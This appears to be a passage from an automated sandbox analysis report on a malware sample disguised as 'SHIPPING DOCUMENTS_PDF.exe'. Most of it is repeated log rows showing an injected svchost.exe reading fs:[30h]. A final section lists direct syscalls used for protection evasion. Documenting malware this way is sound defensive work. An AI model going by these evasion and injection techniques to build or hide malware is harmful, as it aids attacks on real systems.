Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030325E0 mov eax, dword ptr fs:[00000030h]	2_2_030325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C5ED mov eax, dword ptr fs:[00000030h]	2_2_0306C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C5ED mov eax, dword ptr fs:[00000030h]	2_2_0306C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]	2_2_03068402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]	2_2_03068402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]	2_2_03068402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]	2_2_0302E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]	2_2_0302E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]	2_2_0302E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C427 mov eax, dword ptr fs:[00000030h]	2_2_0302C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A430 mov eax, dword ptr fs:[00000030h]	2_2_0306A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EA456 mov eax, dword ptr fs:[00000030h]	2_2_030EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302645D mov eax, dword ptr fs:[00000030h]	2_2_0302645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305245A mov eax, dword ptr fs:[00000030h]	2_2_0305245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BC460 mov ecx, dword ptr fs:[00000030h]	2_2_030BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]	2_2_0305A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]	2_2_0305A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]	2_2_0305A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EA49A mov eax, dword ptr fs:[00000030h]	2_2_030EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030364AB mov eax, dword ptr fs:[00000030h]	2_2_030364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030644B0 mov ecx, dword ptr fs:[00000030h]	2_2_030644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_030BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030304E5 mov ecx, dword ptr fs:[00000030h]	2_2_030304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104B00 mov eax, dword ptr fs:[00000030h]	2_2_03104B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305EB20 mov eax, dword ptr fs:[00000030h]	2_2_0305EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305EB20 mov eax, dword ptr fs:[00000030h]	2_2_0305EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F8B28 mov eax, dword ptr fs:[00000030h]	2_2_030F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F8B28 mov eax, dword ptr fs:[00000030h]	2_2_030F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E4B4B mov eax, dword ptr fs:[00000030h]	2_2_030E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E4B4B mov eax, dword ptr fs:[00000030h]	2_2_030E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]	2_2_03102B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]	2_2_03102B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]	2_2_03102B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]	2_2_03102B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C6B40 mov eax, dword ptr fs:[00000030h]	2_2_030C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C6B40 mov eax, dword ptr fs:[00000030h]	2_2_030C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FAB40 mov eax, dword ptr fs:[00000030h]	2_2_030FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D8B42 mov eax, dword ptr fs:[00000030h]	2_2_030D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028B50 mov eax, dword ptr fs:[00000030h]	2_2_03028B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DEB50 mov eax, dword ptr fs:[00000030h]	2_2_030DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302CB7E mov eax, dword ptr fs:[00000030h]	2_2_0302CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040BBE mov eax, dword ptr fs:[00000030h]	2_2_03040BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040BBE mov eax, dword ptr fs:[00000030h]	2_2_03040BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_030E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_030E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]	2_2_03050BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]	2_2_03050BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]	2_2_03050BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]	2_2_03030BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]	2_2_03030BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]	2_2_03030BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_030DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]	2_2_03038BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]	2_2_03038BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]	2_2_03038BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305EBFC mov eax, dword ptr fs:[00000030h]	2_2_0305EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_030BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BCA11 mov eax, dword ptr fs:[00000030h]	2_2_030BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CA24 mov eax, dword ptr fs:[00000030h]	2_2_0306CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305EA2E mov eax, dword ptr fs:[00000030h]	2_2_0305EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03054A35 mov eax, dword ptr fs:[00000030h]	2_2_03054A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03054A35 mov eax, dword ptr fs:[00000030h]	2_2_03054A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CA38 mov eax, dword ptr fs:[00000030h]	2_2_0306CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040A5B mov eax, dword ptr fs:[00000030h]	2_2_03040A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040A5B mov eax, dword ptr fs:[00000030h]	2_2_03040A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]	2_2_0306CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]	2_2_0306CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]	2_2_0306CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DEA60 mov eax, dword ptr fs:[00000030h]	2_2_030DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030ACA72 mov eax, dword ptr fs:[00000030h]	2_2_030ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030ACA72 mov eax, dword ptr fs:[00000030h]	2_2_030ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104A80 mov eax, dword ptr fs:[00000030h]	2_2_03104A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068A90 mov edx, dword ptr fs:[00000030h]	2_2_03068A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038AA0 mov eax, dword ptr fs:[00000030h]	2_2_03038AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038AA0 mov eax, dword ptr fs:[00000030h]	2_2_03038AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03086AA4 mov eax, dword ptr fs:[00000030h]	2_2_03086AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]	2_2_03086ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]	2_2_03086ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]	2_2_03086ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030AD0 mov eax, dword ptr fs:[00000030h]	2_2_03030AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03064AD0 mov eax, dword ptr fs:[00000030h]	2_2_03064AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03064AD0 mov eax, dword ptr fs:[00000030h]	2_2_03064AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306AAEE mov eax, dword ptr fs:[00000030h]	2_2_0306AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306AAEE mov eax, dword ptr fs:[00000030h]	2_2_0306AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE908 mov eax, dword ptr fs:[00000030h]	2_2_030AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE908 mov eax, dword ptr fs:[00000030h]	2_2_030AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BC912 mov eax, dword ptr fs:[00000030h]	2_2_030BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028918 mov eax, dword ptr fs:[00000030h]	2_2_03028918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028918 mov eax, dword ptr fs:[00000030h]	2_2_03028918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B892A mov eax, dword ptr fs:[00000030h]	2_2_030B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C892B mov eax, dword ptr fs:[00000030h]	2_2_030C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0946 mov eax, dword ptr fs:[00000030h]	2_2_030B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104940 mov eax, dword ptr fs:[00000030h]	2_2_03104940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]	2_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]	2_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]	2_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307096E mov eax, dword ptr fs:[00000030h]	2_2_0307096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307096E mov edx, dword ptr fs:[00000030h]	2_2_0307096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307096E mov eax, dword ptr fs:[00000030h]	2_2_0307096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D4978 mov eax, dword ptr fs:[00000030h]	2_2_030D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D4978 mov eax, dword ptr fs:[00000030h]	2_2_030D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BC97C mov eax, dword ptr fs:[00000030h]	2_2_030BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030309AD mov eax, dword ptr fs:[00000030h]	2_2_030309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030309AD mov eax, dword ptr fs:[00000030h]	2_2_030309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B89B3 mov esi, dword ptr fs:[00000030h]	2_2_030B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B89B3 mov eax, dword ptr fs:[00000030h]	2_2_030B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B89B3 mov eax, dword ptr fs:[00000030h]	2_2_030B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C69C0 mov eax, dword ptr fs:[00000030h]	2_2_030C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030649D0 mov eax, dword ptr fs:[00000030h]	2_2_030649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_030FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_030BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030629F9 mov eax, dword ptr fs:[00000030h]	2_2_030629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030629F9 mov eax, dword ptr fs:[00000030h]	2_2_030629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BC810 mov eax, dword ptr fs:[00000030h]	2_2_030BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov ecx, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A830 mov eax, dword ptr fs:[00000030h]	2_2_0306A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D483A mov eax, dword ptr fs:[00000030h]	2_2_030D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D483A mov eax, dword ptr fs:[00000030h]	2_2_030D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03042840 mov ecx, dword ptr fs:[00000030h]	2_2_03042840

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BA80A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

0_2_00BA80A9

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B7A124 SetUnhandledExceptionFilter,		0_2_00B7A124
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B7A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00B7A155

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
